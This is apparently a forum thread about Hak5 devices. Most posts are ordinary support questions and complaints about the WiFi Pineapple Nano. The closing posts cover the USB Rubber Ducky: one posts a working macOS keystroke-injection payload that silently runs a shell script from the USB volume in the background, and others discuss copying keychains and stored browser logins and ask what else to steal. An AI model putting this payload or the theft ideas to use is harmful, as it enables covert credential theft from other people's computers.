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  1. Can you explain how to share internet through the NANO connected via usb in Windows?

    I was able to share a connection using Windows 10 on my laptop using the same setup as the old MK5. With my laptop on a 5ghz 300mbps connection to my Asus router, I'm getting roughly 25-30mbps down while testing with my cell phone connected to the Nano on my 30mbps ISP connection.

  2. Hello, please excuse my ignorance but I am trying to figure out if you can connect through Management AP configured in the dashboard and do things through a direct WiFi connection?

    Unfortunate I am disable by my phone to use the usb tether option, so the whole Pineapple connect app is useless, I can only make changes when connected through a computer which isn't always convenient.

    Is there a way to use management ap for changes and running things? If so how can it be done? When I try default IP listed on the wifipineapple.com/nano site it doesn't work.

    thanks

  3. ok so i know to do what you just said i will need linux. One question i am running windows 7, and i kno there are multiple kinds of linux os's out there. So which one do i need? please leave a link to the download thank. :)

    you don't need Linux for that. download putty for windows (putty.org) for the ssh step listed above, and continue with steps.

  4. I'm having a bit of trouble getting into the web management interface when connecting via WiFi to the Management AP, is browsing to 172.16.42.1:1471 the only way to do so? Having tried this it doesn't work, removing the port gives me a 403 error on the page, so at least it's getting somewhere...

  5. Who cares anymore, they're just trolling customers with cryptic bullshit going on 3 months with everything out of stock and shitty videos to build hype and let everyone down.

    I give up on this you've lost a future customer.

  6. Any update from the team on this, ETA? Really itching to pick one up!

    Definitely suspicious at this point, something must be going on... good or bad. So many unanswered topics with all sorts of troubles that add to even more concern... maybe I should forget about getting one altogether.

    Considering the number of troubling topics with no replies, the fact that it's still not in stock, maybe it's better to pass and just use Kali on an old laptop or rooted Android.

  7. Hello guys,

    I'm new to the ducky world and have been trying to build some sort of a backup script, which will essentially boot the usb drive and then run its script to save user data, for last minute formatting / backing up OSX systems. I have run into two issues and haven't been able to dig up enough information through searching, so hopefully someone can help (or point towards resources that can).

    To start, I'm working with the c_duck_v2.1 firmware, if there is a better choice for booting to usb and being able to copy to that device, please let me know!

    Problem 1: Upon inserting the device, every system pops up the Unrecognized Keyboard wizard, and it will not go away unless manually closed. Is there a firmware workaround or command to prevent this?

    Problem 2: The terminal command results in varying numbers of security dialogs that need to be clicked, most often it's one of these Deny, Allow Once, Always Allow and either Allow Once or Always can be clicked but the number of dialogs ranges based on how many items are getting processed, so programming "Enter" in 25 times may work - or it may be too few. Is there any form of IF statement for dialog boxes?

    Think that's all for now, thanks!

  8. This looks interesting, do you think its the best approach? Have you figured out more since? I'm definitely going to test this out and see how it works. Thanks for sharing!

    How would you go about the keychain copying?

    I'd like to attempt the same, and maybe also experiment with grabbing the active User / Documents / Photo Library / Movies directories and copying them to the Ducky USB mounted section, maybe even the Chrome and Firefox favorites, stored logins, etc. Basically like a super-backup saving feature for dire situations.

    I created a pretty simple payload for Mac OSX, this is the fastest I could get it. You might want to play with some delays but my decent mac is running this just fine. It basically types in a while loop in the terminal that waits for a volume to mount named DUCKY by looking for file 'a', and then executes an SH script called 'a' (the same file). This is done to make it as short as possible.

    DELAY 3000
    COMMAND SPACE
    DELAY 200
    STRING terminal
    ENTER
    DELAY 200
    STRING while [ ! -f /Volumes/DUCKY/a ] ; do sleep 2 ; done && sh /Volumes/DUCKY/a &
    ENTER
    STRING disown
    ENTER
    STRING exit
    ENTER
    COMMAND Q
    

    So in your 'a' file you can write any length shell script you want, it will all execute on the background.

    P.s. I just stole my own keychain, are there any more interesting things I could try to steal?

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